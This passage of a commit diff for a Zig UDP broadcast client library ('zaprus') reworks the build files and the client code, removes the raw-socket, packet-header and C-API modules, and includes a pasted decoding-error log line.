fix use after free

For some reason I am still getting this:

2025/05/10 16:37:06 Error decoding message: SGVsbG8gZGFya25lc3MgbXkgb2xkIGZyaWVuZA==::53475673624738675a4746796132356c63334d6762586b676232786b49475a79615756755a413d3daaaa

build.zig

@@ -1,129 +1,72 @@
 const std = @import("std");
 
-// Although this function looks imperative, it does not perform the build
-// directly and instead it mutates the build graph (`b`) that will be then
-// executed by an external runner. The functions in `std.Build` implement a DSL
-// for defining build steps and express dependencies between them, allowing the
-// build runner to parallelize the build automatically (and the cache system to
-// know when a step doesn't need to be re-run).
+// Although this function looks imperative, note that its job is to
+// declaratively construct a build graph that will be executed by an external
+// runner.
 pub fn build(b: *std.Build) void {
-    // Standard target options allow the person running `zig build` to choose
+    // Standard target options allows the person running `zig build` to choose
     // what target to build for. Here we do not override the defaults, which
     // means any target is allowed, and the default is native. Other options
     // for restricting supported target set are available.
     const target = b.standardTargetOptions(.{});
+
     // Standard optimization options allow the person running `zig build` to select
     // between Debug, ReleaseSafe, ReleaseFast, and ReleaseSmall. Here we do not
     // set a preferred release mode, allowing the user to decide how to optimize.
     const optimize = b.standardOptimizeOption(.{});
-    // It's also possible to define more custom flags to toggle optional features
-    // of this build script using `b.option()`. All defined flags (including
-    // target and optimize options) will be listed when running `zig build --help`
-    // in this directory.
 
-    // This creates a module, which represents a collection of source files alongside
-    // some compilation options, such as optimization mode and linked system libraries.
-    // Zig modules are the preferred way of making Zig code available to consumers.
-    // addModule defines a module that we intend to make available for importing
-    // to our consumers. We must give it a name because a Zig package can expose
-    // multiple modules and consumers will need to be able to specify which
-    // module they want to access.
-    const mod = b.addModule("zaprus", .{
-        // The root source file is the "entry point" of this module. Users of
-        // this module will only be able to access public declarations contained
-        // in this file, which means that if you have declarations that you
-        // intend to expose to consumers that were defined in other files part
-        // of this module, you will have to make sure to re-export them from
-        // the root file.
+    const lib_mod = b.createModule(.{
         .root_source_file = b.path("src/root.zig"),
-        // Later on we'll use this module as the root module of a test executable
-        // which requires us to specify a target.
-        .target = target,
-    });
-
-    // Create static library
-    const lib = b.addLibrary(.{
-        .name = "zaprus",
-        .root_module = b.createModule(.{
-            .root_source_file = b.path("src/c_api.zig"),
         .target = target,
         .optimize = optimize,
-            .link_libc = true,
-            .imports = &.{
-                .{ .name = "zaprus", .module = mod },
-            },
-        }),
+    });
+
+    // We will also create a module for our other entry point, 'main.zig'.
+    const exe_mod = b.createModule(.{
+        // `root_source_file` is the Zig "entry point" of the module. If a module
+        // only contains e.g. external object files, you can make this `null`.
+        // In this case the main source file is merely a path, however, in more
+        // complicated build scripts, this could be a generated file.
+        .root_source_file = b.path("src/main.zig"),
+        .target = target,
+        .optimize = optimize,
+    });
+
+    lib_mod.addImport("network", b.dependency("network", .{}).module("network"));
+    lib_mod.addImport("gatorcat", b.dependency("gatorcat", .{}).module("gatorcat"));
+
+    exe_mod.addImport("zaprus", lib_mod);
+    exe_mod.addImport("clap", b.dependency("clap", .{}).module("clap"));
+
+    const lib = b.addLibrary(.{
+        .linkage = .static,
+        .name = "zaprus",
+        .root_module = lib_mod,
     });
 
     b.installArtifact(lib);
-    lib.installHeader(b.path("include/zaprus.h"), "zaprus.h");
 
-    // Here we define an executable. An executable needs to have a root module
-    // which needs to expose a `main` function. While we could add a main function
-    // to the module defined above, it's sometimes preferable to split business
-    // logic and the CLI into two separate modules.
-    //
-    // If your goal is to create a Zig library for others to use, consider if
-    // it might benefit from also exposing a CLI tool. A parser library for a
-    // data serialization format could also bundle a CLI syntax checker, for example.
-    //
-    // If instead your goal is to create an executable, consider if users might
-    // be interested in also being able to embed the core functionality of your
-    // program in their own executable in order to avoid the overhead involved in
-    // subprocessing your CLI tool.
-    //
-    // If neither case applies to you, feel free to delete the declaration you
-    // don't need and to put everything under a single module.
+    // This creates another `std.Build.Step.Compile`, but this one builds an executable
+    // rather than a static library.
     const exe = b.addExecutable(.{
         .name = "zaprus",
-        .root_module = b.createModule(.{
-            // b.createModule defines a new module just like b.addModule but,
-            // unlike b.addModule, it does not expose the module to consumers of
-            // this package, which is why in this case we don't have to give it a name.
-            .root_source_file = b.path("src/main.zig"),
-            // Target and optimization levels must be explicitly wired in when
-            // defining an executable or library (in the root module), and you
-            // can also hardcode a specific target for an executable or library
-            // definition if desireable (e.g. firmware for embedded devices).
-            .target = target,
-            .optimize = optimize,
-            // List of modules available for import in source files part of the
-            // root module.
-            .imports = &.{
-                // Here "zaprus" is the name you will use in your source code to
-                // import this module (e.g. `@import("zaprus")`). The name is
-                // repeated because you are allowed to rename your imports, which
-                // can be extremely useful in case of collisions (which can happen
-                // importing modules from different packages).
-                .{ .name = "zaprus", .module = mod },
-            },
-        }),
+        .root_module = exe_mod,
     });
 
     // This declares intent for the executable to be installed into the
-    // install prefix when running `zig build` (i.e. when executing the default
-    // step). By default the install prefix is `zig-out/` but can be overridden
-    // by passing `--prefix` or `-p`.
+    // standard location when the user invokes the "install" step (the default
+    // step when running `zig build`).
     b.installArtifact(exe);
 
-    // This creates a top level step. Top level steps have a name and can be
-    // invoked by name when running `zig build` (e.g. `zig build run`).
-    // This will evaluate the `run` step rather than the default step.
-    // For a top level step to actually do something, it must depend on other
-    // steps (e.g. a Run step, as we will see in a moment).
-    const run_step = b.step("run", "Run the app");
-
-    // This creates a RunArtifact step in the build graph. A RunArtifact step
-    // invokes an executable compiled by Zig. Steps will only be executed by the
-    // runner if invoked directly by the user (in the case of top level steps)
-    // or if another step depends on it, so it's up to you to define when and
-    // how this Run step will be executed. In our case we want to run it when
-    // the user runs `zig build run`, so we create a dependency link.
+    // This *creates* a Run step in the build graph, to be executed when another
+    // step is evaluated that depends on it. The next line below will establish
+    // such a dependency.
     const run_cmd = b.addRunArtifact(exe);
-    run_step.dependOn(&run_cmd.step);
 
-    // By making the run step depend on the default step, it will be run from the
+    // By making the run step depend on the install step, it will be run from the
     // installation directory rather than directly from within the cache directory.
+    // This is not necessary, however, if the application depends on other installed
+    // files, this ensures they will be present and in the expected location.
     run_cmd.step.dependOn(b.getInstallStep());
 
     // This allows the user to pass arguments to the application in the build
@@ -132,42 +75,21 @@ pub fn build(b: *std.Build) void {
         run_cmd.addArgs(args);
     }
 
-    // Creates an executable that will run `test` blocks from the provided module.
-    // Here `mod` needs to define a target, which is why earlier we made sure to
-    // set the releative field.
-    const mod_tests = b.addTest(.{
-        .root_module = mod,
+    // This creates a build step. It will be visible in the `zig build --help` menu,
+    // and can be selected like this: `zig build run`
+    // This will evaluate the `run` step rather than the default, which is "install".
+    const run_step = b.step("run", "Run the app");
+    run_step.dependOn(&run_cmd.step);
+
+    const exe_unit_tests = b.addTest(.{
+        .root_module = exe_mod,
     });
 
-    // A run step that will run the test executable.
-    const run_mod_tests = b.addRunArtifact(mod_tests);
+    const run_exe_unit_tests = b.addRunArtifact(exe_unit_tests);
 
-    // Creates an executable that will run `test` blocks from the executable's
-    // root module. Note that test executables only test one module at a time,
-    // hence why we have to create two separate ones.
-    const exe_tests = b.addTest(.{
-        .root_module = exe.root_module,
-    });
-
-    // A run step that will run the second test executable.
-    const run_exe_tests = b.addRunArtifact(exe_tests);
-
-    // A top level step for running all tests. dependOn can be called multiple
-    // times and since the two run steps do not depend on one another, this will
-    // make the two of them run in parallel.
-    const test_step = b.step("test", "Run tests");
-    test_step.dependOn(&run_mod_tests.step);
-    test_step.dependOn(&run_exe_tests.step);
-
-    // Just like flags, top level steps are also listed in the `--help` menu.
-    //
-    // The Zig build system is entirely implemented in userland, which means
-    // that it cannot hook into private compiler APIs. All compilation work
-    // orchestrated by the build system will result in other Zig compiler
-    // subcommands being invoked with the right flags defined. You can observe
-    // these invocations when one fails (or you pass a flag to increase
-    // verbosity) to validate assumptions and diagnose problems.
-    //
-    // Lastly, the Zig build system is relatively simple and self-contained,
-    // and reading its source code will allow you to master it.
+    // Similar to creating the run step earlier, this exposes a `test` step to
+    // the `zig build --help` menu, providing a way for the user to request
+    // running the unit tests.
+    const test_step = b.step("test", "Run unit tests");
+    test_step.dependOn(&run_exe_unit_tests.step);
 }

build.zig.zon

@@ -10,7 +10,7 @@
 
     // This is a [Semantic Version](https://semver.org/).
     // In a future version of Zig it will be used for package deduplication.
-    .version = "0.1.0",
+    .version = "0.0.0",
 
     // Together with name, this represents a globally unique package
     // identifier. This field is generated by the Zig toolchain when the
@@ -28,14 +28,27 @@
 
     // Tracks the earliest Zig version that the package considers to be a
     // supported use case.
-    .minimum_zig_version = "0.16.0",
+    .minimum_zig_version = "0.14.0",
 
     // This field is optional.
     // Each dependency must either provide a `url` and `hash`, or a `path`.
     // `zig build --fetch` can be used to fetch all dependencies of a package, recursively.
     // Once all dependencies are fetched, `zig build` no longer requires
     // internet connectivity.
-    .dependencies = .{},
+    .dependencies = .{
+        .network = .{
+            .url = "https://github.com/ikskuh/zig-network/archive/c76240d2240711a3dcbf1c0fb461d5d1f18be79a.zip",
+            .hash = "network-0.1.0-AAAAAOwlAQAQ6zKPUrsibdpGisxld9ftUKGdMvcCSpaj",
+        },
+        .clap = .{
+            .url = "git+https://github.com/Hejsil/zig-clap?ref=0.10.0#e47028deaefc2fb396d3d9e9f7bd776ae0b2a43a",
+            .hash = "clap-0.10.0-oBajB434AQBDh-Ei3YtoKIRxZacVPF1iSwp3IX_ZB8f0",
+        },
+        .gatorcat = .{
+            .url = "git+https://github.com/kj4tmp/gatorcat#bb1847f6c95852e7a0ec8c07870a948c171d5f98",
+            .hash = "gatorcat-0.3.2-WcrpTf1mBwDrmPaIhKCfLJO064v8Sjjn7DBq4CKZSgHH",
+        },
+    },
     .paths = .{
         "build.zig",
         "build.zig.zon",

include/zaprus.h

@@ -1,33 +0,0 @@
-#ifndef ZAPRUS_H
-#define ZAPRUS_H
-
-#include <stdint.h>
-#include <stdlib.h>
-
-typedef void* zaprus_client;
-typedef void* zaprus_connection;
-
-// Returns NULL if there was an error.
-zaprus_client zaprus_init_client(void);
-
-void zaprus_deinit_client(zaprus_client client);
-
-// Returns 0 on success, else returns 1.
-int zaprus_client_send_relay(zaprus_client client, const char* payload, size_t payload_len, const char dest[4]);
-
-// Returns NULL if there was an error.
-// Caller should call zaprus_deinit_connection when done with the connection.
-zaprus_connection zaprus_connect(zaprus_client client, const char* payload, size_t payload_len);
-
-void zaprus_deinit_connection(zaprus_connection connection);
-
-// Capacity is the maximum length of the output buffer.
-// out_len is modified to specify how much of the capacity is used by the response.
-// Blocks until the next message is available, or returns 1 if the underlying socket times out.
-// Returns 0 on success, else returns 1.
-int zaprus_connection_next(zaprus_connection connection, char *out, size_t capacity, size_t *out_len);
-
-// Returns 0 on success, else returns 1.
-int zaprus_connection_send(zaprus_connection connection, const char *payload, size_t payload_len);
-
-#endif // ZAPRUS_H

src/Client.zig

@@ -1,146 +1,152 @@
-const base64_enc = std.base64.standard.Encoder;
-const base64_dec = std.base64.standard.Decoder;
+const base64Enc = std.base64.Base64Encoder.init(std.base64.standard_alphabet_chars, '=');
+const base64Dec = std.base64.Base64Decoder.init(std.base64.standard_alphabet_chars, '=');
 
-const Client = @This();
+var rand: ?Random = null;
 
-const max_message_size = 2048;
-
-pub const max_payload_len = RawSocket.max_payload_len;
-
-socket: RawSocket,
-
-pub fn init() !Client {
-    const socket: RawSocket = try .init();
-    return .{
-        .socket = socket,
-    };
+pub fn init() !void {
+    var prng = Random.DefaultPrng.init(blk: {
+        var seed: u64 = undefined;
+        try posix.getrandom(mem.asBytes(&seed));
+        break :blk seed;
+    });
+    rand = prng.random();
+    try network.init();
 }
 
-pub fn deinit(self: *Client) void {
-    self.socket.deinit();
-    self.* = undefined;
+pub fn deinit() void {
+    network.deinit();
 }
 
-pub fn sendRelay(self: *Client, io: Io, payload: []const u8, dest: [4]u8) !void {
-    const io_source: std.Random.IoSource = .{ .io = io };
-    const rand = io_source.interface();
+fn broadcastSaprusMessage(msg: *SaprusMessage, udp_port: u16) !void {
+    if (false) {
+        var foo: gcat.nic.RawSocket = try .init("enp7s0"); // /proc/net/dev
+        defer foo.deinit();
+    }
+    const msg_bytes = msg.asBytes();
+    try msg.networkFromNativeEndian();
+    defer msg.nativeFromNetworkEndian() catch unreachable;
 
-    var headers: EthIpUdp = .{
-        .src_mac = self.socket.mac,
-        .ip = .{
-            .id = rand.int(u16),
-            .src_addr = 0, //rand.int(u32),
-            .dst_addr = @bitCast([_]u8{ 255, 255, 255, 255 }),
-            .len = undefined,
-        },
-        .udp = .{
-            .src_port = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)),
-            .dst_port = 8888,
-            .len = undefined,
-        },
+    var sock = try network.Socket.create(.ipv4, .udp);
+    defer sock.close();
+
+    try sock.setBroadcast(true);
+
+    // Bind to 0.0.0.0:0
+    const bind_addr = network.EndPoint{
+        .address = network.Address{ .ipv4 = network.Address.IPv4.any },
+        .port = 0,
     };
 
-    const relay: SaprusMessage = .{
-        .relay = .{
-            .dest = .fromBytes(&dest),
-            .payload = payload,
-        },
+    const dest_addr = network.EndPoint{
+        .address = network.Address{ .ipv4 = network.Address.IPv4.broadcast },
+        .port = udp_port,
     };
 
-    var relay_buf: [max_message_size - (@bitSizeOf(EthIpUdp) / 8)]u8 = undefined;
-    const relay_bytes = relay.toBytes(&relay_buf);
-    headers.setPayloadLen(relay_bytes.len);
+    try sock.bind(bind_addr);
 
-    var msg_buf: [max_message_size]u8 = undefined;
-    var msg_w: Writer = .fixed(&msg_buf);
-    msg_w.writeAll(&headers.toBytes()) catch unreachable;
-    msg_w.writeAll(relay_bytes) catch unreachable;
-    const full_msg = msg_w.buffered();
-
-    try self.socket.send(full_msg);
+    _ = try sock.sendTo(dest_addr, msg_bytes);
 }
 
-pub fn connect(self: Client, io: Io, payload: []const u8) !SaprusConnection {
-    const io_source: std.Random.IoSource = .{ .io = io };
-    const rand = io_source.interface();
+pub fn sendRelay(payload: []const u8, dest: [4]u8, allocator: Allocator) !void {
+    const msg_bytes = try allocator.alignedAlloc(
+        u8,
+        @alignOf(SaprusMessage),
+        try SaprusMessage.lengthForPayloadLength(
+            .relay,
+            base64Enc.calcSize(payload.len),
+        ),
+    );
+    defer allocator.free(msg_bytes);
+    const msg: *SaprusMessage = .init(.relay, msg_bytes);
 
-    var headers: EthIpUdp = .{
-        .src_mac = self.socket.mac,
-        .ip = .{
-            .id = rand.int(u16),
-            .src_addr = 0, //rand.int(u32),
-            .dst_addr = @bitCast([_]u8{ 255, 255, 255, 255 }),
-            .len = undefined,
-        },
-        .udp = .{
-            .src_port = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)),
-            .dst_port = 8888,
-            .len = undefined,
-        },
-    };
+    const relay = (try msg.getSaprusTypePayload()).relay;
+    relay.dest = dest;
+    _ = base64Enc.encode(relay.getPayload(), payload);
 
-    // udp dest port should not be 8888 after first
-    const udp_dest_port = rand.intRangeAtMost(u16, 9000, std.math.maxInt(u16));
-    var connection: SaprusMessage = .{
-        .connection = .{
-            .src = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)),
-            .dest = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)),
-            .seq = undefined,
-            .id = undefined,
-            .payload = payload,
-        },
-    };
-
-    log.debug("Setting bpf filter to port {}", .{connection.connection.src});
-    self.socket.attachSaprusPortFilter(connection.connection.src) catch |err| {
-        log.err("Failed to set port filter: {t}", .{err});
-        return err;
-    };
-    log.debug("bpf set", .{});
-
-    var connection_buf: [2048]u8 = undefined;
-    var connection_bytes = connection.toBytes(&connection_buf);
-    headers.setPayloadLen(connection_bytes.len);
-
-    log.debug("Building full message", .{});
-    var msg_buf: [2048]u8 = undefined;
-    var msg_w: Writer = .fixed(&msg_buf);
-    msg_w.writeAll(&headers.toBytes()) catch unreachable;
-    msg_w.writeAll(connection_bytes) catch unreachable;
-    var full_msg = msg_w.buffered();
-    log.debug("Built full message. Sending message", .{});
-
-    try self.socket.send(full_msg);
-    var res_buf: [4096]u8 = undefined;
-
-    log.debug("Awaiting handshake response", .{});
-    // Ignore response from sentinel, just accept that we got one.
-    _ = try self.socket.receive(&res_buf);
-
-    headers.udp.dst_port = udp_dest_port;
-    headers.ip.id = rand.int(u16);
-    headers.setPayloadLen(connection_bytes.len);
-
-    log.debug("Building final handshake message", .{});
-
-    msg_w.end = 0;
-
-    msg_w.writeAll(&headers.toBytes()) catch unreachable;
-    msg_w.writeAll(connection_bytes) catch unreachable;
-    full_msg = msg_w.buffered();
-
-    try self.socket.send(full_msg);
-
-    return .init(self.socket, headers, connection);
+    try broadcastSaprusMessage(msg, 8888);
 }
 
-const RawSocket = @import("./RawSocket.zig");
+fn randomPort() u16 {
+    var p: u16 = 0;
+    if (rand) |r| {
+        p = r.intRangeAtMost(u16, 1024, 65000);
+    } else unreachable;
+
+    return p;
+}
+
+pub fn sendInitialConnection(payload: []const u8, initial_port: u16, allocator: Allocator) !*SaprusMessage {
+    const dest_port = randomPort();
+    const msg_bytes = try allocator.alignedAlloc(
+        u8,
+        @alignOf(SaprusMessage),
+        try SaprusMessage.lengthForPayloadLength(
+            .connection,
+            base64Enc.calcSize(payload.len),
+        ),
+    );
+
+    const msg: *SaprusMessage = .init(.connection, msg_bytes);
+
+    const connection = (try msg.getSaprusTypePayload()).connection;
+    connection.src_port = initial_port;
+    connection.dest_port = dest_port;
+    _ = base64Enc.encode(connection.getPayload(), payload);
+
+    try broadcastSaprusMessage(msg, 8888);
+
+    return msg;
+}
+
+pub fn connect(payload: []const u8, allocator: Allocator) !?SaprusConnection {
+    var initial_port: u16 = 0;
+    if (rand) |r| {
+        initial_port = r.intRangeAtMost(u16, 1024, 65000);
+    } else unreachable;
+
+    var initial_conn_res: ?*SaprusMessage = null;
+
+    var sock = try network.Socket.create(.ipv4, .udp);
+    defer sock.close();
+
+    // Bind to 255.255.255.255:8888
+    const bind_addr = network.EndPoint{
+        .address = network.Address{ .ipv4 = network.Address.IPv4.broadcast },
+        .port = 8888,
+    };
+
+    // timeout 1s
+    try sock.setReadTimeout(1 * std.time.us_per_s);
+    try sock.bind(bind_addr);
+
+    const msg = try sendInitialConnection(payload, initial_port, allocator);
+    defer allocator.free(msg.asBytes());
+
+    var response_buf: [4096]u8 align(@alignOf(SaprusMessage)) = undefined;
+    _ = try sock.receive(&response_buf); // Ignore message that I sent.
+    const len = try sock.receive(&response_buf);
+
+    std.debug.print("response bytes: {x}\n", .{response_buf[0..len]});
+    initial_conn_res = SaprusMessage.init(.connection, response_buf[0..len]);
+
+    // Complete handshake after awaiting response
+    try broadcastSaprusMessage(msg, randomPort());
+
+    if (false) {
+        return initial_conn_res.?;
+    }
+    return null;
+}
 
 const SaprusMessage = @import("message.zig").Message;
 const SaprusConnection = @import("Connection.zig");
-const EthIpUdp = @import("./EthIpUdp.zig").EthIpUdp;
 
 const std = @import("std");
-const Io = std.Io;
-const Writer = std.Io.Writer;
-const log = std.log;
+const Random = std.Random;
+const posix = std.posix;
+const mem = std.mem;
+
+const network = @import("network");
+const gcat = @import("gatorcat");
+
+const Allocator = mem.Allocator;

src/Connection.zig

@@ -1,61 +0,0 @@
-socket: RawSocket,
-headers: EthIpUdp,
-connection: SaprusMessage,
-
-const Connection = @This();
-
-pub fn init(socket: RawSocket, headers: EthIpUdp, connection: SaprusMessage) Connection {
-    return .{
-        .socket = socket,
-        .headers = headers,
-        .connection = connection,
-    };
-}
-
-pub fn next(self: Connection, io: Io, buf: []u8) ![]const u8 {
-    _ = io;
-    log.debug("Awaiting connection message", .{});
-    const res = try self.socket.receive(buf);
-    log.debug("Received {} byte connection message", .{res.len});
-    const msg: SaprusMessage = try .parse(res[42..]);
-    const connection_res = msg.connection;
-
-    log.debug("Payload was {s}", .{connection_res.payload});
-
-    return connection_res.payload;
-}
-
-pub fn send(self: *Connection, io: Io, buf: []const u8) !void {
-    const io_source: std.Random.IoSource = .{ .io = io };
-    const rand = io_source.interface();
-
-    log.debug("Sending connection message", .{});
-
-    self.connection.connection.payload = buf;
-    var connection_bytes_buf: [2048]u8 = undefined;
-    const connection_bytes = self.connection.toBytes(&connection_bytes_buf);
-
-    self.headers.ip.id = rand.int(u16);
-    self.headers.setPayloadLen(connection_bytes.len);
-
-    var msg_buf: [2048]u8 = undefined;
-    var msg_w: Writer = .fixed(&msg_buf);
-    try msg_w.writeAll(&self.headers.toBytes());
-    try msg_w.writeAll(connection_bytes);
-    const full_msg = msg_w.buffered();
-
-    try self.socket.send(full_msg);
-
-    log.debug("Sent {} byte connection message", .{full_msg.len});
-}
-
-const std = @import("std");
-const Io = std.Io;
-const Writer = std.Io.Writer;
-
-const log = std.log;
-
-const SaprusMessage = @import("./message.zig").Message;
-
-const EthIpUdp = @import("./EthIpUdp.zig").EthIpUdp;
-const RawSocket = @import("./RawSocket.zig");

src/EthIpUdp.zig

@@ -1,93 +0,0 @@
-pub const EthIpUdp = packed struct(u336) { // 42 bytes * 8 bits = 336
-    // --- UDP (Last in memory, defined first for LSB->MSB) ---
-    udp: packed struct {
-        checksum: u16 = 0,
-        len: u16,
-        dst_port: u16,
-        src_port: u16,
-    },
-
-    // --- IP ---
-    ip: packed struct {
-        dst_addr: u32,
-        src_addr: u32,
-        header_checksum: u16 = 0,
-        protocol: u8 = 17, // udp
-        ttl: u8 = 0x40,
-
-        // fragment_offset (13 bits) + flags (3 bits) = 16 bits
-        // In Big Endian, flags are the high bits of the first byte.
-        // To have flags appear first in the stream, define them last here.
-        fragment_offset: u13 = 0,
-        flags: packed struct(u3) {
-            reserved: u1 = 0,
-            dont_fragment: u1 = 1,
-            more_fragments: u1 = 0,
-        } = .{},
-
-        id: u16,
-        len: u16,
-        tos: u8 = undefined,
-
-        // ip_version (4 bits) + ihl (4 bits) = 8 bits
-        // To have version appear first (high nibble), define it last.
-        ihl: u4 = 5,
-        ip_version: u4 = 4,
-    },
-
-    // --- Ethernet ---
-    eth_type: u16 = std.os.linux.ETH.P.IP,
-    src_mac: @Vector(6, u8),
-    dst_mac: @Vector(6, u8) = @splat(0xff),
-
-    pub fn toBytes(self: @This()) [336 / 8]u8 {
-        var res: [336 / 8]u8 = undefined;
-        var w: Writer = .fixed(&res);
-        w.writeStruct(self, .big) catch unreachable;
-        return res;
-    }
-
-    pub fn setPayloadLen(self: *@This(), len: usize) void {
-        self.ip.len = @intCast(len + (@bitSizeOf(@TypeOf(self.udp)) / 8) + (@bitSizeOf(@TypeOf(self.ip)) / 8));
-
-        // Zero the checksum field before calculation
-        self.ip.header_checksum = 0;
-
-        // Serialize IP header to big-endian bytes
-        var ip_bytes: [@bitSizeOf(@TypeOf(self.ip)) / 8]u8 = undefined;
-        var w: Writer = .fixed(&ip_bytes);
-        w.writeStruct(self.ip, .big) catch unreachable;
-
-        // Calculate checksum over serialized bytes
-        self.ip.header_checksum = onesComplement16(&ip_bytes);
-
-        self.udp.len = @intCast(len + (@bitSizeOf(@TypeOf(self.udp)) / 8));
-    }
-};
-
-fn onesComplement16(data: []const u8) u16 {
-    var sum: u32 = 0;
-
-    // Process pairs of bytes as 16-bit words
-    var i: usize = 0;
-    while (i + 1 < data.len) : (i += 2) {
-        const word: u16 = (@as(u16, data[i]) << 8) | data[i + 1];
-        sum += word;
-    }
-
-    // Handle odd byte if present
-    if (data.len % 2 == 1) {
-        sum += @as(u32, data[data.len - 1]) << 8;
-    }
-
-    // Fold 32-bit sum to 16 bits
-    while (sum >> 16 != 0) {
-        sum = (sum & 0xFFFF) + (sum >> 16);
-    }
-
-    // Return ones' complement
-    return ~@as(u16, @truncate(sum));
-}
-
-const std = @import("std");
-const Writer = std.Io.Writer;

src/RawSocket.zig

@@ -1,167 +0,0 @@
-const RawSocket = @This();
-
-const is_debug = builtin.mode == .Debug;
-
-fd: i32,
-sockaddr_ll: std.posix.sockaddr.ll,
-mac: [6]u8,
-
-pub const max_payload_len = 1000;
-
-const Ifconf = extern struct {
-    ifc_len: i32,
-    ifc_ifcu: extern union {
-        ifcu_buf: ?[*]u8,
-        ifcu_req: ?[*]std.os.linux.ifreq,
-    },
-};
-
-pub fn init() !RawSocket {
-    const socket: i32 = std.math.cast(i32, std.os.linux.socket(std.os.linux.AF.PACKET, std.os.linux.SOCK.RAW, 0)) orelse return error.SocketError;
-    if (socket < 0) return error.SocketError;
-
-    var ifreq_storage: [16]std.os.linux.ifreq = undefined;
-    var ifc = Ifconf{
-        .ifc_len = @sizeOf(@TypeOf(ifreq_storage)),
-        .ifc_ifcu = .{ .ifcu_req = &ifreq_storage },
-    };
-
-    if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFCONF, @intFromPtr(&ifc)) != 0) {
-        return error.NicError;
-    }
-
-    const count = @divExact(ifc.ifc_len, @sizeOf(std.os.linux.ifreq));
-
-    // Get the first non loopback interface
-    var ifr = for (ifreq_storage[0..@intCast(count)]) |*ifr| {
-        if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFFLAGS, @intFromPtr(ifr)) == 0) {
-            if (ifr.ifru.flags.LOOPBACK) continue;
-            break ifr;
-        }
-    } else return error.NoInterfaceFound;
-
-    // 2. Get Interface Index
-    if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFINDEX, @intFromPtr(ifr)) != 0) {
-        return error.NicError;
-    }
-    const ifindex: i32 = ifr.ifru.ivalue;
-
-    // 3. Get Real MAC Address
-    if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFHWADDR, @intFromPtr(ifr)) != 0) {
-        return error.NicError;
-    }
-    var mac: [6]u8 = ifr.ifru.hwaddr.data[0..6].*;
-    if (builtin.cpu.arch.endian() == .little) std.mem.reverse(u8, &mac);
-
-    // 4. Set Flags (Promiscuous/Broadcast)
-    if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFFLAGS, @intFromPtr(ifr)) != 0) {
-        return error.NicError;
-    }
-    ifr.ifru.flags.BROADCAST = true;
-    ifr.ifru.flags.PROMISC = true;
-    if (std.os.linux.ioctl(socket, std.os.linux.SIOCSIFFLAGS, @intFromPtr(ifr)) != 0) {
-        return error.NicError;
-    }
-
-    const sockaddr_ll = std.mem.zeroInit(std.posix.sockaddr.ll, .{
-        .family = std.posix.AF.PACKET,
-        .ifindex = ifindex,
-        .protocol = std.mem.nativeToBig(u16, @as(u16, std.os.linux.ETH.P.IP)),
-    });
-
-    const bind_ret = std.os.linux.bind(socket, @ptrCast(&sockaddr_ll), @sizeOf(@TypeOf(sockaddr_ll)));
-    if (bind_ret != 0) return error.BindError;
-
-    return .{
-        .fd = socket,
-        .sockaddr_ll = sockaddr_ll,
-        .mac = mac,
-    };
-}
-
-pub fn setTimeout(self: *RawSocket, sec: isize, usec: i64) !void {
-    const timeout: std.os.linux.timeval = .{ .sec = sec, .usec = usec };
-    const timeout_ret = std.os.linux.setsockopt(self.fd, std.os.linux.SOL.SOCKET, std.os.linux.SO.RCVTIMEO, @ptrCast(&timeout), @sizeOf(@TypeOf(timeout)));
-    if (timeout_ret != 0) return error.SetTimeoutError;
-}
-
-pub fn deinit(self: *RawSocket) void {
-    _ = std.os.linux.close(self.fd);
-    self.* = undefined;
-}
-
-pub fn send(self: RawSocket, payload: []const u8) !void {
-    const sent_bytes = std.os.linux.sendto(
-        self.fd,
-        payload.ptr,
-        payload.len,
-        0,
-        @ptrCast(&self.sockaddr_ll),
-        @sizeOf(@TypeOf(self.sockaddr_ll)),
-    );
-    _ = sent_bytes;
-}
-
-pub fn receive(self: RawSocket, buf: []u8) ![]u8 {
-    const len = std.os.linux.recvfrom(
-        self.fd,
-        buf.ptr,
-        buf.len,
-        0,
-        null,
-        null,
-    );
-    if (std.os.linux.errno(len) != .SUCCESS) {
-        return error.Timeout; // TODO: get the real error, assume timeout for now.
-    }
-    return buf[0..len];
-}
-
-pub fn attachSaprusPortFilter(self: RawSocket, port: u16) !void {
-    const BPF = std.os.linux.BPF;
-    // BPF instruction structure for classic BPF
-    const SockFilter = extern struct {
-        code: u16,
-        jt: u8,
-        jf: u8,
-        k: u32,
-    };
-
-    const SockFprog = extern struct {
-        len: u16,
-        filter: [*]const SockFilter,
-    };
-
-    // Build the filter program
-    const filter = [_]SockFilter{
-        // Load 2 bytes at offset 46 (absolute)
-        .{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 46 },
-        // Jump if equal to port (skip 0 if true, skip 1 if false)
-        .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 0, .jf = 1, .k = @as(u32, port) },
-        // Return 0xffff (pass)
-        .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0xffff },
-        // Return 0x0 (fail)
-        .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0x0 },
-    };
-
-    const fprog = SockFprog{
-        .len = filter.len,
-        .filter = &filter,
-    };
-
-    // Attach filter to socket using setsockopt
-    const rc = std.os.linux.setsockopt(
-        self.fd,
-        std.os.linux.SOL.SOCKET,
-        std.os.linux.SO.ATTACH_FILTER,
-        @ptrCast(&fprog),
-        @sizeOf(SockFprog),
-    );
-
-    if (rc != 0) {
-        return error.BpfAttachFailed;
-    }
-}
-
-const std = @import("std");
-const builtin = @import("builtin");

src/c_api.zig

@@ -1,88 +0,0 @@
-const std = @import("std");
-const zaprus = @import("zaprus");
-
-// Opaque types for C API
-const ZaprusClient = opaque {};
-const ZaprusConnection = opaque {};
-
-const alloc = std.heap.c_allocator;
-const io = std.Io.Threaded.global_single_threaded.io();
-
-export fn zaprus_init_client() ?*ZaprusClient {
-    const client = alloc.create(zaprus.Client) catch return null;
-    client.* = zaprus.Client.init() catch {
-        alloc.destroy(client);
-        return null;
-    };
-    return @ptrCast(client);
-}
-
-export fn zaprus_deinit_client(client: ?*ZaprusClient) void {
-    const c: ?*zaprus.Client = @ptrCast(@alignCast(client));
-    if (c) |zc| {
-        zc.deinit();
